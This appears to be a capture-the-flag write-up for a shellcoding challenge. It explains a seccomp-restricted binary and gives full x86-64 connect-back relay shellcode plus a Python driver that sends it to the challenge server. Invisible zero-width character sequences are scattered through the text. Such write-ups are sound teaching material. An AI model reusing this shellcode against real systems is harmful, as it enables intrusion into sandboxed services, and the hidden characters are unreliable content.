← Back to Writeups
CUSTOMMediumpwn

pwn4_local

XESXOR9/2/20265 min read
#pwn#custom#medium#connect_back_shellcode#diagnostic_return_value_stub#network_byte_order_port#seccomp_allowlist_relay#sockaddr_in_construction

pwn4_local

Platform: pwn_spbctf | Category: pwn | Type: Challenge | Difficulty: Medium | OS: NA | Author: XESXOR | Date: 2026-06-18 | Status: Solved Techniques: connect_back_shellcode, diagnostic_return_value_stub, network_byte_order_port, seccomp_allowlist_relay, sockaddr_in_construction

Summary

Task: x86-64 PIE shellcode challenge whose seccomp allowlist permits only socket/connect/read/write/close/exit_group, with the flag served by a loopback-only service on 127.0.0.1:31337. Solution: write a 103-byte connect-back relay shellcode that opens a TCP socket to 127.0.0.1:31337 and pipes the service output to stdout; the key pitfall is storing sin_port in network byte order (bytes 7A 69, not 69 7A).

pwn4_local — pwn_spbctf

Description

localhost:31337. Ты знаешь, что делать...

(English: "localhost:31337. You know what to do...")

Pwn tier 4 ("shellcoding"), author Mikhail Kolesov (@crazylazyowl). Remote: nc 109.233.56.90 11666. We are given local.elf, an x86-64 PIE binary that reads raw shellcode and jumps to it under a seccomp allowlist. The flag is not in a local file — it is served by a separate process listening only on the loopback interface at 127.0.0.1:31337. The goal is to reach that loopback service from inside the sandbox. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Analysis

main (@0x11c5) does:

  1. memset a buffer.

  2. alarm(5) — a single fast connection is required (no slow interactive probing; the whole exploit must finish within 5 seconds).

  3. setvbuf x2 on stdin/stdout.

  4. Install a seccomp allowlist via seccomp_init + seccomp_rule_add(ctx, SCMP_ACT_ALLOW=0x7fff0000, NR, 0) per syscall + seccomp_load. The only allowed syscalls are:

    NR (hex)NR (dec)syscall
    0x2941socket
    0x2a42connect
    0x000read
    0x011write
    0x033close
    0xe7231exit_group

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Notably absent: open, openat, execve, dup/dup2. So we cannot open a file, cannot pop a shell, and cannot dup the listening socket onto our fd to abuse the inherited connection.

  1. printf(prompt), then read(0, buf[rbp-0x410], 0x400) and call buf — our shellcode (≤ 0x400 bytes, any byte values allowed, no null/newline restriction) runs directly.

The allowlist socket + connect + read + write is the whole hint: this is a connect-back / port-relay primitive. The flag service is loopback-only, unreachable from the outside, but the sandboxed process can open its own TCP socket to 127.0.0.1:31337, read the flag the service emits on connect, and relay it back to us on stdout (fd 1). ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Solution

Shellcode plan (x86-64):

  1. socket(AF_INET=2, SOCK_STREAM=1, 0) → sockfd (nr=41). Save in r12.
  2. Build a sockaddr_in on the stack:
    • sin_family = 2 (AF_INET), little-endian bytes 02 00
    • sin_port = port 31337 = 0x7A69 in network/big-endian byte order, so the bytes in memory must be 7A 69
    • sin_addr = 127.0.0.1 = 7F 00 00 01
    • First 8 bytes in memory: 02 00 | 7A 69 | 7F 00 00 01, which as a little-endian qword to push is 0x0100007f697a0002. (Reading that qword's bytes low→high gives 02 00 7a 69 7f 00 00 01 — note 7a 69, the network order.)
    • Then push 8 zero bytes for sin_zero.
  3. connect(sockfd, &sockaddr, 16) (nr=42).
  4. Relay loop: read(sockfd, buf, n) then write(1, buf, ret), until read returns ≤ 0; finally exit_group(0). The service pushes the flag immediately on connect — no request line / newline needs to be sent. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The critical pitfall: sin_port byte order

The first attempt stored the port as the qword 0x0100007f7a690002, i.e. the in-memory port bytes 69 7A. That is the host-order integer htons(31337) = 0x697A written naively, but what must physically sit in the sin_port field is the network byte order sequence 7A 69. With 69 7A, connect returned -111 (ECONNREFUSED) because the kernel tried to reach port 0x697A = 27002 instead of 0x7A69 = 31337.

The fastest way this was pinpointed: a diagnostic shellcode (sc_dbg.asm) that prints markers A/C/R after socket/connect/read and dumps the 8-byte return value of connect and read to stdout. Seeing the connect return value print as -111 immediately distinguished "connection refused" (wrong port/addr) from a malformed sockaddr (which would give -22 EINVAL), collapsing the whole debugging space to one fact: fix the port endianness. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Correcting the qword to 0x0100007f697a0002 (in-memory bytes 7A 69) made connect succeed and the flag streamed straight back.

Working shellcode (sc.asm, 103 bytes)

asm
BITS 64
default rel

; sockfd = socket(AF_INET=2, SOCK_STREAM=1, 0)
xor edx, edx
push 1
pop rsi
push 2
pop rdi
push 41
pop rax
syscall
mov r12, rax            ; sockfd

; build sockaddr_in: family=2, port (net order 7A 69), addr=127.0.0.1
xor rdx, rdx
push rdx                ; sin_zero (8 bytes)
mov rbx, 0x0100007f697a0002   ; in-memory: 02 00 | 7A 69 | 7F 00 00 01
push rbx
mov rsi, rsp            ; &sockaddr
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

; connect(sockfd, &sockaddr, 16)
mov rdi, r12
push 16
pop rdx
push 42
pop rax
syscall

; reserve a buffer well away from stack/shellcode
sub rsp, 0x800
mov r13, rsp           ; buffer ptr

read_loop:
mov rdi, r12
mov rsi, r13
mov rdx, 0x200
xor eax, eax           ; read
syscall
test rax, rax
jle done
; write(1, buf, rax)
mov rdx, rax
mov rdi, 1
mov rsi, r13
push 1
pop rax
syscall
jmp read_loop

done:
xor edi, edi
push 231
pop rax
syscall

Driver (exp_local.py)

python
#!/usr/bin/env python3
from pwn import *
import re
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

HOST, PORT = '109.233.56.90', 11666
sc = open('sc.bin', 'rb').read()           # 103 bytes
log.info("shellcode len = %d", len(sc))

io = remote(HOST, PORT)
try:
    io.recv(timeout=3)                     # prompt
except Exception:
    pass
io.send(sc)
data = io.recvall(timeout=10)
io.close()

print(data.decode(errors='replace'))
m = re.search(rb'spbctf\{[^}]*\}', data)
print("FLAG:", m.group(0).decode() if m else "not found")

Implementation note (reusable)

The solving host was arm64 macOS. Do not assemble the x86-64 payload with pwntools asm() there (it targets the host arch / needs a cross toolchain that may be missing). Assemble the x86-64 shellcode with nasm (or keystone) directly to a .bin and feed the raw bytes — this avoids architecture mismatches entirely. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍